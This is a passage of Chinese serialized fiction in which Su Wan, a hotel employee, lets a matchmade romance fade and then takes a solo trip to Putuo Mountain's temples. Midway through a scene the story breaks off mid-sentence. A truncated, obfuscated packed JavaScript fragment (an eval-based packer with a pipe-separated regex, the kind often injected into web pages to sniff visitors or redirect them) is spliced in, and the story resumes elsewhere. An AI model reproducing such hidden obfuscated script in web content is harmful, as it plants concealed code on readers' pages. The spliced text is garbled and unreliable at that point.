苏晚点了点头,手指在推车的把手上蹭了一下。“是蛮巧的。”她有点不好意思,想起当时相亲的时候觉得他蛮帅的,但那时候心里还有别人的影子,没考虑太多。现在这个人站在面前,她还是觉得他蛮帅的,但那种感觉已经不一样了。不是不喜欢,是——她也不知道是什么。她低下头,看着推车上那摞碗碟,又抬起头。 “你在这儿工作?”她问。 “婚庆公司,做策划。”他扬了扬手里的文件夹,“今天这场是我们公司做的。” “很好看。”苏晚说。 “嗯。”他说话的时候喜欢微微歪着头,嘴角翘着,像是在笑,又像是在想什么。他看了苏晚一眼,“你忙完了?” “还没,还有几桌没收。” “那你先忙。”他往旁边让了一步,给她让出过道。 苏晚推着车走了。 晚上下班后,苏晚刚走出员工通道,手机就响了。掏出来一看,是小姨。她接起来,把手机贴在耳朵上,靠在墙边,一只脚抬起来,揉了揉酸痛的脚踝。 “清清,今天加班累不累?”小姨的声音从听筒里挤出来,带着一点笑意,背景里有电视的声音,断断续续的。 “还行。”苏晚说。 “我听说你今天碰到那个谁了?”小姨的声音忽然亮了起来,像是憋了很久终于找到机会问出口。苏晚几乎能想象小姨在电话那头的表情——眼睛亮了,嘴角翘起来了,身子往前探了探,连声音都高了一个调。 “哪个谁?”苏晚装傻,把脚放下来,往公交站走。 “就是那个——上次我给你介绍的那个,叔叔的儿子。你还记得吧?”小姨的声音又快又急,“你当时说人家帅,后来又没下文了。今天碰到了?有没有想法啊?” 苏晚握着手机,走在人行道上。路灯亮着,橘黄色的光铺在地上,把她的影子拉得很长。她笑了一下,那笑不是客套的,是真的觉得小姨那个语气好笑。 “小姨,你听我说——” “你别跟我说‘再说再说’,你都多大了,还不着急?”小姨打断她,声音又高了一度,“我跟你说,这个男孩子条件不错的,家里也好,人长得也帅,你当时不也说人家帅吗?你要是错过了,以后后悔都来不及。” 苏晚没说话。 “你倒是说句话啊。”小姨急了。 “小姨,你唠叨太多了。”苏晚笑了一声,那笑声从喉咙里滚出来,带着一点无奈,但更多的是那种被关心的暖,“好,可以约见面聊聊。” 电话那头安静了一秒,然后小姨的声音炸开来,带着笑。“这才对嘛!我跟你说,女孩子不要太挑,差不多就行了——我不是说你挑,我是说你得给人家机会,多接触接触才知道合不合适。你总不能一辈子一个人吧?” 苏晚没接话,站在公交站牌下面,看着远处的车灯由远及近,又由近及远。风从街口灌进来,把她的头发吹到脸上,她伸手别到耳后。 “行了小姨,我知道了。车来了,我先挂了。” “好好好,你记得联系人家啊。我把他电话再发给你。” “嗯。” 挂了电话,苏晚上了公交车,找了个靠窗的位置坐下。车子晃晃悠悠地开着,窗外的街景往后退,一盏一盏的路灯,一块一块的招牌,一个一个的行人。她把手机翻过来,又翻过去,小姨的短信到了,一个电话号码,后面跟着一句话——“记得主动联系人家”。苏晚盯着那行字看了几秒,把手机翻过去,扣在膝盖上。她靠在椅背上,看着窗外,脑子里转着那个男生的样子——白衬衫,袖子卷着,嘴角翘着,说“蛮巧的”的时候眼睛亮了一下。她不知道自己在想什么,不是心动,不是犹豫,是那种——像是站在一条岔路口,两条路都看不清,不知道该往哪边走。她闭上眼睛,车子颠了一下,她的头轻轻磕在车窗玻璃上,不疼,她没睁开眼。 周末,苏晚约了那个男生出来散步。两个人约在公园门口见面,就是市中心那个有山有亭子的公园。苏晚到的时候,他已经站在门口了,穿着一件浅灰色的卫衣,牛仔裤,白色球鞋,手里拎着两瓶水。看见苏晚走过来,他举起一瓶水,晃了晃。 “给你。” 苏晚接过来,瓶身上还带着凉意,她拧开盖子喝了一口,是矿泉水,有点甜。“谢谢。” 两个人沿着坡道往上走。坡道不陡,但长,从公园门口一直延伸到半山腰的亭子。两边的树已经绿了,叶子密密匝匝的,遮住了头顶的天空,阳光从树叶的缝隙里漏下来,落在地上,斑斑驳驳的。苏晚走在左边,他走在右边,两个人的步子都不快,谁也没刻意找话题,但也不觉得尴尬。 “你最近忙吗?”他问,侧过头看了她一眼。 “还行。五一加了几天班,后面补休了。”苏晚把矿泉水瓶换到另一只手,手指在瓶身上蹭了一下,水珠凝在指尖,凉凉的。 “我在婚庆公司也忙,五一前后是旺季,周末基本都在外面跑。”他把手插进卫衣口袋里,脚步慢了一下,等苏晚跟上来,“上周那场婚礼,就是你在的那场,我们提前三天就开始布置了。花墙是前一天晚上才弄好的,弄到凌晨两点。” “那么晚?”苏晚转过头看了他一眼,他的侧脸被阳光照着,下颌线的轮廓很清晰。 “没办法,鲜花不能提前太早,会蔫。婚礼前一天晚上到货,连夜插上去,第二天早上才浇水。”他说话的时候嘴角微微翘着,不是笑,是那种习惯性的表情,像是随时都带着一点笑意。 两个人走到半山腰的亭子,停下来。苏晚靠在亭子的柱子上,把矿泉水瓶放在石凳上,甩了甩发酸的手臂。他站在她旁边,手插在口袋里,看着山下的城市。城市在阳光下闪着光,楼密密麻麻的,车小得像蚂蚁,远处的山蒙着一层薄雾,灰蓝色的。 “你平时休息都干嘛?”他问,转过头看着她。 “睡觉,看剧,偶尔跟朋友吃饭。”苏晚想了想,觉得自己说的这些挺无聊的,又加了一句,“有时候也出来走走,像今天这样。” 他笑了一下,那笑从嘴角开始,慢慢延伸到眼睛。“我也是。休息的时候就想躺着,什么都不干。” 两个人聊了日常,聊工作,聊最近看的电视剧,聊小时候住在筒子楼的经历。他说他家以前也住在那种老楼里,后来拆迁了,搬到新小区去了。苏晚问他搬去哪儿了,他说了个地名,苏晚不知道在哪儿,他就在手心里画了个地图,手指在掌心上划了几道线,说“这边是东,这边是北,我家在这儿”。苏晚凑过去看了一眼,没看懂,但点了点头。他的手很大,手指修长,掌心的纹路很清晰,她看了一眼,把目光移开了。 后来又约了几次。一次是去看电影,他选的片子,是一部警匪片,枪战的时候声音很大,苏晚被吓了一跳,身子缩了一下,他在旁边笑了一下,没说话。一次是去吃饭,他选了一家川菜馆,辣得苏晚眼泪都出来了,他赶紧给她倒水,递纸巾,说“不好意思,我不知道你不能吃辣”。苏晚接过纸巾擦了擦眼角,说“没事,挺好吃的”,又夹了一块水煮鱼,辣得吸了一口气,还是咽下去了。 再后来,就没下文了。不是吵架,不是谁不理谁,是自然而然地——淡了。他发消息的频率从每天变成隔天,从隔天变成周末,从周末变成偶尔。苏晚也没主动发。两个人的对话框沉到微信列表的下面,被新消息压下去,越来越下面,越来越难找。苏晚有时候翻通讯录的时候会看到他的名字,手指在屏幕上停一下,然后划过去。她说不清楚为什么没下文了——不是他不好,不是她没感觉,是那种——好像两个人都在等对方主动,然后谁都没动。大概是这样。 事后有一次跟李建打电话,李建聊着聊着,忽然提起了那个男生。 “对了,你知道吗,我那个朋友——就是跟你相亲过的那个——前几天我们吃饭,聊起你了。”李建的声音从听筒里挤出来,带着一点酒意,背景里有人在说话,像是在饭馆里。 苏晚靠在沙发上,把手机换到另一只耳朵。“聊我什么?” “他说你挺好的。说你性格好,安安静静的,不吵不闹。说跟你在一起挺舒服的,不用刻意找话题,也不用硬撑。”李建停了一下,笑了一声,“他说你太忙了,约你出来你总是加班,后来就没好意思再约。” 苏晚没说话。 “他说要是你不那么忙,他愿意再接触接触。”李建的声音低了一些,“你呢?你对他什么感觉?” 苏晚想了很久,然后说了一句“还行吧”,说完自己也不知道这个“还行吧”是什么意思。 李建在那边叹了口气,那口气拖得很长,像是在替她可惜,又像是在说她不懂事。“行吧,反正你自己看着办。” 挂了电话,苏晚躺在床上,想他说“你太忙了”的时候是不是有点失望,想自己是不是真的那么忙。她不知道。她只知道那些约会她确实去了,但每次去的时候脑子里都在想别的事——今天那张报销单还没录完,明天还要去中餐厅加班,后天要交报表。她的心不在那儿,大概人家也感觉到了。她不知道自己是什么时候睡着的,只记得睡着之前脑子里闪过一个念头——那个画面好像见过。不是见过他,是见过这种“没下文”的感觉——明明挺好的,但就是没成。不是哪个人不对,是时间不对,是心情不对,是两个人都在等对方先迈出那一步,然后谁都没迈。 71. 周卉 五月初 九楼行政办公区域 午休时间的走廊比平时安静了许多。走廊一侧是整面落地玻璃幕墙,阳光无遮无拦地涌进来,把深灰色的地毯照出一片暖黄色的光斑,地毯的绒毛被光线穿透,根根分明。窗前紧挨着一排格子办公桌,灰色磨砂玻璃隔板把每张桌子隔成独立的半封闭空间,桌面统一摆放着印有酒店Logo的文具套装——黑色中性笔、便签本。 走廊的另一侧是白色的墙面,墙上每隔几步挂着一块块金底黑字的牌匾——“校企合作示范单位”“市级青年文明号”“最佳商务酒店”……牌匾。金色的字在午后阳光的斜照下微微反着光,把对面落地窗投来的光斑折射成一小片碎金,落在旁边的墙面上。 墙面中间嵌着几扇黄色的木门每扇门的门框右侧的墙面上,竖挂着一块长方形的铜牌,那是酒店开业时统一定制的,字是蚀刻的,凹下去的笔画里填着黑漆,摸上去有微微的凹陷感。铜牌上依次写着“财务部”“总经理室”。有的房间门开着如财务室。走廊尽头,那扇漆成银灰色的消防通道门长年敞开着。能看见一部员工专用电梯的不锈钢门面,电梯门上面的楼层数字显示屏亮着红色的光,一跳一跳的。电梯旁边是安全出口的楼道,楼道里的灯是声控的,此刻暗着,只有楼梯拐角处透过来一线白色的光。 苏晚难得在午休时间有了喘口气的空档。她穿着酒店统一配发的夏套装站在办公区域宋夏的工位前面。她趁着没人注意,悄悄把右脚从鞋里褪出来,脚后跟踩在鞋面上,脚趾在丝袜里舒展开,每一根脚趾都像被禁锢太久终于释放的小动物,贪婪地伸着懒腰。那一瞬间的放松从脚底蔓延到小腿,顺着胫骨爬上来,她几乎想叹一口气。她的左手搭在磨砂玻璃隔板的铝合金横杆上,手指在光滑的金属面上慢慢蹭着,掌心贴着冰凉的杆面,感受着那一点点从指尖渗入的凉意。右手垂在身侧,指尖轻轻捏着裙摆的侧缝线,那是她紧张或放松时无意识的小动作。她的腰椎终于从僵直的正坐姿势中解放出来,脊背微微弯着,肩胛骨向后展开,整个人的重心压在右侧的胯骨上,半倚半靠,像一株被风吹弯了腰的草,终于在这场午后的风里找到了片刻的休憩。她低着头,假装在看宋夏桌上那份的文件,余光却扫着自己那只光着的脚——脚趾在丝袜里动了动,丝袜的纤维贴着趾缝,有一点点闷,但比起被高跟鞋挤压的疼痛,这点闷简直算不上一回事。她甚至能感觉到地毯的绒毛透过丝袜的薄层,轻轻扎着脚底的皮肤,痒痒的,像春天刚冒头的草芽。她的嘴角不自觉地微微翘起,是一种放松后的自然上扬。 “等这段忙完了,我真得出去走走。”她的声音不大,像是从喉咙里慢慢吐出来的,目光越过宋夏的肩膀,落在那扇落地窗上。窗外的天际线在午后的光线里显得有点发白,远处几栋高楼的玻璃幕墙反射着刺眼的光,像一面面竖起的镜子。阳光从窗外涌进来,在宋夏的椅背上投下一块亮斑,又顺着椅背滑到地毯上,把地毯上细密的绒毛照出一层淡淡的金色。苏晚盯着那块光斑,觉得自己的脚趾也跟着暖了起来。 宋夏正坐在自己的工位上整理文件,她的椅子转了半圈,面朝苏晚,手里还攥着一支黑色中性笔,笔帽没盖,在指尖转了一圈。她抬起头,嘴角翘起来,眉毛挑了一下。 “去哪儿?” “普陀山。”苏晚把目光从落地窗收回来,落在宋夏脸上。她说话的时候,嘴角弯了一下,幅度不大,但那个笑是真实的,从眼底漫上来的。她的手指在横杆上慢慢蹭了一下,铝合金的表面光滑,凉凉的,指尖的薄茧蹭过去,有一种细微的涩感。 宋夏笑了一声,把手里的文件放下,靠在椅背上,双手交叉抱在胸前。声音里带着一点调侃:“使用你的小金库?”她把“小金库”三个字咬得格外清楚,尾音往上翘。 苏晚点点头,眼底的笑意漫了上来。她确实存 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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苏晚在携程上泡了好几天。她白天上班没时间,晚上回到家就趴在床上,一条一条地翻那些攻略。岛上的住宿大多是民宿,不是酒店,是那种本地人用自家楼房改造的家庭旅馆,评价区里的留言五花八门,有人说“老板人很好,半夜到码头来接”,有人说“房间小但干净,床单有太阳的味道”,有人说“离码头近,走路十分钟”。她看了十几篇游记,做了好几页笔记,用不同颜色的笔标注了重点——红色是必去的寺庙,蓝色是吃饭的地方,绿色是注意事项。她发现大多数人都建议住在岛内,不要在岛外住,因为岛外的民宿虽然便宜,但来回坐船太折腾,浪费时间。苏晚想了想自己的作息,知道自己是个能睡的人,早上起不来,晚上睡得早,住在岛内最方便,累了就能回去躺。她定了五天的行程,不算长,也不算短,刚好能把主要景点走一遍。她在日历上用红笔把那几天圈出来,旁边画了一个小小的太阳。 出发那天是周五。苏晚请了三天年假,加上一个周末,一共五天。她自己拖了个粉红色的拉杆箱,背个背包,准备在家楼下的公交车直达到火车站。公交车上人不多,她喜欢坐在靠窗的位置,把箱子竖在腿前面,一只手扶着箱杆,另一只手搭在膝盖上。窗外的街景往后退,那些熟悉的店铺、路口、梧桐树,一棵一棵地从眼前滑过去。她盯着窗外,很是平静。 动车站侯车厅 苏晚站在出入口那里,看着拖着箱子的人来来往往,广播里女播音员的声音在耳边回荡。苏晚按车票信息找到了检票口,在附近的座位椅上坐下来,时不时抬头看下站台的数字及颜色标识。——她记不住这些,很容易忘,小事上她总是这样,越是不重要的事,越是容易从脑子里滑出去。她靠着椅背,看着对面那块巨大的电子显示屏,红色的字一行一行地跳,车次、目的地、状态,有的写着“晚点”,有的写着“开始检票”。她的目光在那些字上面飘了一会儿,没有焦点,然后收回来,低下头,把背包的拉链拉开又拉上,拉了几次,拉链的牙齿咬合在一起,发出细细的声响。 广播响了,她的车次开始检票。她站在队伍里,很是慎重的跟前后排的人保持着一定的距离,不喜欢那种被人贴着后背的感觉。队伍缓慢的向前移动时,她刻意放慢自己的脚步,看着前排或是侧面的老弱乘客笨重的拿票、刷卡、通过闸机。她拖着箱子走过长廊下电梯,站在站台边距黄线后面,看着远处的多条轨道,迎面而来的风把她的头发吹起来,她伸手按住。 动车启动的时候,车身轻轻晃了一下,然后平稳了。窗外的站台开始往后退,退得很慢,然后越来越快,站台上的人看不清脸了,站牌看不清字了,铁轨变成一道一道的线,从车窗底下划过去。苏晚靠在椅背上,看着窗外。她买的是动车票,不是直达,要在宁波转车。城市开始往后退,房子变矮楼变少田多起来了。她盯着窗外,目光没有焦点。 宁波站 苏晚拖着箱子下了车,站在站台上,看着动车车门缓缓关上,轻响“咔哒”一声。列车慢慢向前滑动。她站在那儿,看着列车远去,忽然有点恍惚。她想起表姐以前说过她和姐夫去杭州旅游。那会苏晚还在上海,那时候的火车是绿色的,想自己职校毕业后就直接在上海呆着,周边的城市还没去过。 现在她继前美容公司常出差原因外,还没有再多花时间周边游或是再跨省出走看看。又一个恍惚的感觉,很淡像水面上的波纹轻荡。她没继续多想,拖着箱子往出站口走。 从宁波到舟山,坐大巴。沿途风景很美。大巴上有大大的落地车窗,能看到了宁波的跨海大桥,桥很长,一眼望不到头,桥下面是宽阔的江面,水是灰蓝色的,在阳光下泛着细碎的光。越是一片无际的江面上空,越是一片蔚蓝的天空,云很大很多,一团一团的,堆在天边,像棉花山。天很亮,亮得她眯起了眼睛。 码头 苏晚抬头看着拱门建筑出入口,空气感觉很清新,带着一点海水的凉意。码头上人不少,陆续有人从她的身边经过——背着双肩包的年轻人举着小旗子的导游结伴而行的叔叔阿姨们。她想起了小时候,母亲拉着她跑向坐船的出入口。 苏晚站在室内的队伍里,看着前排左右侧的人山人海,坐等着前面的围栏闸口开。时间到铃声响,闸门开关的特有声音随后响起,人群向前缓慢得移动着。苏晚被人推着走。下意识地侧身拉开距离,不想被后面的人贴得太近,她有点害怕人群中的汗流味道,那种闷闷的、酸酸的、混着各种气味的东西,会让她觉得喘不过气。 苏晚踩着脚下的铁地面,低头能看见下面海水一波一波地微荡,蓝绿色的,在阳光下发着暗沉沉的光。行李箱的轮子碾在铁板上,拖声有点响,咕噜咕噜的,被周围嘈杂的人声盖住了一半。人不停地向前跑,越接近船只,海面越近,越能闻到一丝海咸腥味,直冲鼻腔。她深吸了一口气。这个味道她太熟悉了,小时候暑寒假经常坐船来回上海,那时候的船比现在的大,是那种客滚船,慢,晃得厉害。她站在甲板上,扶着栏杆,看着海面上的浪花一朵一朵地翻,看着远处的海平线,看着天和海交界的地方,灰蒙蒙的,分不清哪里是天哪里是海。现在忽然闻到这熟悉的味道,她想起了老家——崇明岛,中国的第三大岛。不经心里想:崇明岛怎么还没开发好?好想吃清水蟹:膏肥黄足,味道鲜美。清水蒸煠或面拖或与年糕翻炒;还有金瓜丝:切开之后瓜肉自然成丝,经过腌渍后丝毫没有软烂之相,甚至可以在齿端不断的挤压下听到清脆回响,比海蜇更清甜;还有甜芦穄:“穄”这个字念“jì”,长得像甘蔗,青绿色的皮,更细,咬一口,汁水清甜不腻,有一股淡淡的青草香。在当地人看来,更是对家乡的一份美好回忆。只记得小时候大姨妈会把芦穄一整把放在门前的空地上,她调皮拿起一根就想直接啃,放在嘴里的姿势方向不对,第一时间被削了嘴流了血,被外婆心疼地直瞪了大姨妈几眼,“怎么能不提醒下吃法?” 这些东西她好想念它们的味道啊! 苏晚拖着箱子踏上岛的那一刻,阳光照在脸上,她眯了一下眼睛,用手背挡住额头。岛上的空气比码头那边清新多了,有海风和树木的气味,淡淡的,好闻的。她拖着箱子往外走,穿过大厅,走到广场上。 远远地,她看见红旗杆下面站着一个人。一个女人,四十来岁,穿着碎花的衬衫,头发扎起来,皮肤晒得有点黑,但笑起来很亲切。她手扶着一辆老式女式自行车,黑色的漆面有些地方掉了,露出底下的铁锈。苏晚快步走过去,行李箱的轮子碾在石板路上,发出咕噜咕噜的声响,在空旷的广场上显得很响。 “你好,我是苏晚。”苏晚走到女人面前。 “你好你好,我是来接你的。路上还顺利吧?”她的声音不大,但很清晰,带着本地的口音 “顺利的。”苏晚点点头,嘴角弯了一下。 “第一次来?”民宿老板上下打量了她一眼,目光在她脸上停了一秒。 “是的。对于路线有什么建议吗?”苏晚笑着回应,声音里带着一点请求的意味,但不过分。 民宿老板弯腰帮她把行李箱拎起来,放在自行车后座上,用弹力绳固定好,绕了几圈,打了两个结,拉紧。她拍了拍手上的灰,推着车往前走,步子不大,每一步都很稳。 “明天去南海观音的时候,可以先去南天门。很多人不知道,南天门那边风景好,人还少。你从南海观音出来,拐个弯就到了,很近的。” 苏晚跟在她旁边,步子不快不慢,听着她说话,时不时点一下头。 “西山景区的观音不能用长香拜拜,只能用短香。你记住了啊,那边门口放有短香,你拿就行。”老板侧过头看了她一眼,确认她在听。 “西山景区还有头牛像,就在路边,你走过的时候靠一靠,摸一摸。当地人说的,靠一靠,摸一摸,财运好。”老板笑了一声,那笑声从喉咙里滚出来,轻轻的。 苏晚也笑了。 “普济寺一定要走走,寺前的夜景也不错。晚上吃了饭,慢慢走过去,很好看。”老板顿了顿,又想起来什么,“上山的时候如果时间合适,会遇到斋饭。你可以在寺里吃斋饭。” 苏晚侧过头,看着老板。“能请导游讲解吗?”她的声音不大,带着一点试探。 老板想了想,摇了摇头,嘴角弯了一下。“你的时间足够的话,没有必要。岛上就那么几条路,顺着走不会丢。导游讲的那些,网上也能查到,你不如自己慢慢逛,看到什么是什么。” 苏晚点点头,觉得老板说得有道理。 老板打开房门的时候,苏晚先是闻到一股檀香味,很重,但不刺鼻,是那种沉暖的香。她深吸了一口气,觉得很舒服。家里也有时候点香。插在香炉里,烟从炉里升起来,细细的一缕,在房间里飘散,慢慢散开。她喜欢那个味道,说不清楚为什么,就是觉得安心。 房间不大,一张床,一张桌子,一把椅子。床单枕头是白色的。窗户开在床头那边,窗帘是淡黄色的,被风吹得轻轻晃了一下,阳光从缝隙里漏进来,落在地板上,一小块亮的。苏晚把行李箱靠墙放好,站在房间中间,转了一圈,觉得每一样东西都合她的心意。不大,但够用;不豪华,但干净。 玄关处,老板从柜子里拿出一张岛内地图,铺在桌上。地图是那种旅游图,彩色的,上面标着各个景点的位置,用不同的颜色画出了几条路线。老板的手指在地图上点来点去。 “这里是普济寺,这里是法雨寺,这里是慧济寺,这里是南海观音,这里是西山景区,这里是梵音洞,这里是善财洞……”她的手指从这一个点划到那一个点,划出一个大致的环形,“你从这边出发,走一圈,刚好回到这里。好特别的位置,形成一个圈。”苏晚盯着那条环形路线,心里想:好特别的位置,形成一个圈。 晚上,苏晚跟着三三两两的人群方向,往寺庙那边走。路灯隔很远才有一盏,光线昏黄,把人的影子拉得又长又淡。她走得不快,沿着主街,迎着夏夜的凉风,一步步向前。路旁有一条小河,河心立着莲花喷水,水柱在彩色小夜灯的映照下起起落落,光影碎在水面上,很好看。一路向前,地势微微上坡,没多久,几棵大树便出现在视野里,树冠如盖,遮住了半片天。大树旁边,黄色的寺墙被昏黄的灯光一打,透出一种沉静的暖意。 寺前的海印池很大——她在贴子上看过,这叫“莲池夜月”,是普陀十二景之一。池水由山泉汇集而成,月夜下则银波荡漾,禅意十足。池塘上方并排有三座桥:平桥是中轴线主桥,连着八角亭与御碑亭;永寿桥在东侧,桥栏上雕着四十尊石狮,是拍照的好地方;长堍桥在西侧,据说雨天时龙首会吐水,如轻烟一缕。夜风吹过来,凉意沁人,把苏晚的头发吹起来,她伸手别到耳后。她站在桥上,扶着冰凉的石栏杆,低头看水面上自己的影子——模模糊糊的,被风吹皱了,又慢慢平复。她想起了小时候的夏天,她搬着小板凳坐在坡道筒子楼下的空地里,那时候人手一把蒲扇,摇啊摇,风也是这样的凉。她站在桥上,站了很久,直到身后有人经过,轻轻咳嗽了一声,她才回过神来,转身往回走。 睡前,苏晚躺在床上,把第二天的行程在脑子里过了一遍。她不想赶早,想睡到自然醒。时间够,不用赶。她计划上午专门进寺庙,下午随意走走。她把手机闹钟关掉,拉严实窗帘,又把被子拉到下巴,顺手拍了拍被面——这是她的小习惯。然后闭上眼睛。 清晨五点多,窗外有人声。是那种轻轻的、断续的说话声。苏晚从沉沉的睡眠里慢慢浮上来,意识像水泡一样,一颗一颗地往上冒,她懵懵懂懂地睁开眼睛,盯着天花板。她躺了一会儿,翻身坐起来,拿起手机看了一眼——五点二十。本想在枕头上再赖一会儿,但睡意已经散了,索性起床。洗漱,换衣服,扎头发,涂防晒霜。背上背包出门。 站在楼下,拐个弯,走出巷子,眼前是一条小路。两边的树很高,叶子密密匝匝的,把头顶的天空遮得只剩下几块零碎的蓝色。阳光从叶子的缝隙里筛下来,落在地上,碎的一小片一小片的,风一吹,那些光斑就在地上轻轻晃动,像活的一样。空气里有一股草木和泥土混在一起的清冽味道,还夹着一丝若有若无的海腥味,淡淡的。苏晚深深地吸了一口气,觉得早起其实也有好处——世界还没完全醒过来,安静,干净。她想起小时候的一首儿歌,歌名叫什么早就忘了,但旋律还在,歌词也还记得——“太阳当空照,花儿对我笑,小鸟说早早早,你为什么背上小书包”。她轻声哼唱起来,声音很轻,像从喉咙里漏出来的气音,只有自己能听见,像一只蜜蜂在耳边嗡嗡地飞。她一边哼一边往前走,脚步不自觉地轻快起来,嘴角翘着,自己都没发现。 走到一个分叉路口,苏晚停下来。左边那条路通向普济寺,右边那条通向码头方向。她站在路口,左看看右看看,目光在两条路之间来回跳了两趟,不知道该往哪边走。路口的指示牌被树荫遮住了大半。身后传来自行车铃铛的声音,叮铃铃,清脆的。她侧身让了一下,一个大姐骑着自行车从她旁边经过,骑了两步,停下来,一只脚撑着地,转过头看着她。 “小姑娘,去上香啊?”大姐的声音有点沙,但很亮,笑起来的时候眼角有皱纹。 苏晚点点头。“是的。” “往码头方向走,南海观音。那边近。”大姐抬了抬下巴,指了指右边的路。 苏晚犹豫了一下,还是跟着大姐走了一段。大姐骑得很慢,像是在等她,苏晚走在她旁边,两个人没怎么说话。走过码头,又往前穿过一座拱门,走了一小段,苏晚停下来,看了看手表,又看了看左边的路。她想了想,还是决定走小路去普济寺。她跟大姐说了一声“谢谢,我先去普济寺了”,大姐挥了挥手,骑上车走了。苏晚走到前一个分岔路口拐上左边那条小坡路。 岛上的小路不宽,两边的自建房屋错错落落,墙挨着墙,窗对着窗,晾衣杆从窗台伸出来,搭着花花绿绿的床单和毛巾。岔路口不明显,有时候走过了才发现刚才那个夹在两栋房子之间的窄缝就是一条路。苏晚站在一块指示牌前面,仰着头看了好一会儿。牌子上写着“普济寺→”。她的目光从箭头上移到地名上,又从地名上移回箭头上,脑袋微微往左偏了一点,脚步下意识地微动着朝着箭头的方向,她的嘴唇轻轻动着,无声地把那几个字又念了一遍。然后她点了点头,像是终于搞懂了,拐进那条小巷,继续往前走。 普济寺外 昨夜太黑,没来得及细看。此刻晨光初透,苏晚站在那棵古树下,仰起头,目光顺着树干往上攀。树干粗得惊人,直径少说也有一米五,得三四个大人手拉手才能合抱过来。树皮皴裂,一道一道的深沟从根部一直爬到枝杈分岔的地方,沟壑里填着青苔,墨绿色的,湿漉漉的,像岁月在上面盖了一层绒布。树冠铺展开来,遮天蔽日,“犹如一朵遮天盖地的绿色蘑菇云”,把整片天空都吞了进去。主树干上缠满了青藤,藤蔓粗得像小孩的手臂,从根部蜿蜒而上,绕过枝杈,又从另一侧垂下来,像一张被风吹散的网。青藤的叶子密密匝匝,在晨光里泛着暗绿色的光,衬托出古寺的悠久与神秘。 往里走,朱红色的寺门,两排铜质的门钉在晨光里闪着暗金色的光。跨过高高的门槛,脚下是青石板铺成的甬道,石板被岁月磨得光滑,缝隙里嵌着细细的苔痕,踩上去有一种微微的涩。甬道两侧是层层叠叠的殿宇,飞檐翘角,脊兽蹲在檐角上,沉默地望着来来往往的人。殿与殿之间由石阶相连,台阶不高,苏晚拾级而上。 大雄宝殿前,铜香炉里的烟升起来,细细的,一缕一缕的,在晨光里飘散。苏晚从随身包带里拿出香点燃。她站在大殿前面,双手合十,把香夹在掌心里,举到额前,闭着眼睛,拜了三拜。第一拜,腰弯下去的时候,她听见自己的呼吸声。第二拜,她闻到了檀香和旧木头混在一起的气味。第三拜,她想到了“平安喜乐”四个字。她把香插进香炉里,香灰很厚,插进去的时候微歪的,转身往里走。 普济寺很大,殿宇重重叠叠,要上不同的台阶。苏晚不赶时间,走得慢。时不时遇见拿着小旗子的导游在身边讲解着,她注意到导游身前的扩音器,无意间还听到了有趣的民间小说。也有些一对一的地导陪同讲解。苏晚看着这不同的人群,听着不同的故事版本,微微一笑。各殿佛像姿态各异。她在一尊观音像前停下来,观音的脸慈悲的,眼睛微微向下看,像是在看着跪在下面的人,又像是在看着更远的地方。她不太懂,但看着那些佛像,心静心安。 出了普济寺,她站在出口处,左看看,右看看,寺前那三座桥静静地横在海印池上。她心里在犹豫:要走吗?想得久了有点晕,最后摇摇头,她转身往外围走去。忽略了桥上风景。她对自己说,下次吧。但“下次”是什么时候,她不知道。她只是觉得,今天的重点不是桥,是那些殿宇,那些台阶,那些佛像,那些让她心里安静下来的东西。桥还在那里,不会跑,下次来的时候再走。她这样想着,脚步就轻快了一些。 下一站,南海观音方向。苏晚听从民宿老板的建议,把路线捋了捋——先走南天门,再拐个弯去南海观音。 与普济寺终日香火缭绕、人声鼎沸的景象截然不同,南天门更像是岛上被时光遗忘的一角清幽秘境。它孤悬于海,是最南端的一座小小屿,仅靠一座石桥与本岛相连。屿、海、礁、岩、寺,五样景致浑然一体,浑然天成的石门、气势磅礴的摩崖石刻,还有那些引人浮想的神话传说,加上几乎听不到喧嚣的清静氛围,让这里有一种说不出的独特魅力。苏晚站在南天门的高处往下望,海面铺展开来,灰蓝色的一大片,尽头与天空黏在一起,再也分不清界限。海风很大,呼啦啦地灌过来,把她的头发吹得乱七八糟,一缕缕糊在脸上,她也懒得去理,就那么站着,看了很久。 走出南天门,视野忽然被辽阔的大海整个占据,远处的洛迦山在海面上若隐若现,像一只浮在水面的龟。拐入去南海观音的路,中途会经过一小片名叫“金沙”的沙滩,沙子细细的,踩上去软绵绵的。 踏入南海观音景区的大门,一条特别的“香道”便出现在脚下。这段约两百米的石板路,是通往观音圣像的必经之道。青石路面上,每隔两米就嵌着一朵姿态各异的莲花浮雕。香道两旁绿树成荫,南海观音的巨像时不时在枝叶间显现。苏晚一步一脚印踩在莲花上,走得很轻快也很慎重。她觉得那不是普通的石板,那些莲花也不只是装饰。脚底传来一种微妙的触感。她低下头,盯着脚下那朵莲花。花瓣的线条很流畅,从中心向外展开,每一瓣的末端都微微上翘。她忽然觉得那朵莲花很好看。苏晚的目光被吸进去,拔不出来。周围的游客从她身边走过,有人说话,有人咳嗽,有小孩在跑,那些声音都变得很远。她脑子里被什么填满了。那种感觉很熟悉,又让她安心。她站在那朵莲花上,站了很久,久到身后有人轻轻碰了一下她的胳膊,她才回过神来。是一个老太太,手里拎着香袋,笑眯眯地冲她说:“小姑娘,让一让嘞。”苏晚连忙侧身让开,心里忽然冒出一个念头——她不是在走路,是在走一条路,一条说不清楚的路,但她想好好走完。 终于走到广场上,高达三十三米的观音铜像完整地展现在眼前。苏晚仰起头,看着那尊观音像。她的面容是那样慈祥,嘴角微微翘着,像在笑,又像在默默地看着每一个人。天很蓝,蓝得透亮,没有一丝云。观音像在蓝天的映衬下,白得发亮,庄重得让人不敢大声呼吸。苏晚仰着脖子看了很久,闻着空气里淡淡的佛香味,心一点一点地安静下来。不是那种被外力安抚下来的静,而是本来就很静,只是被提醒了。 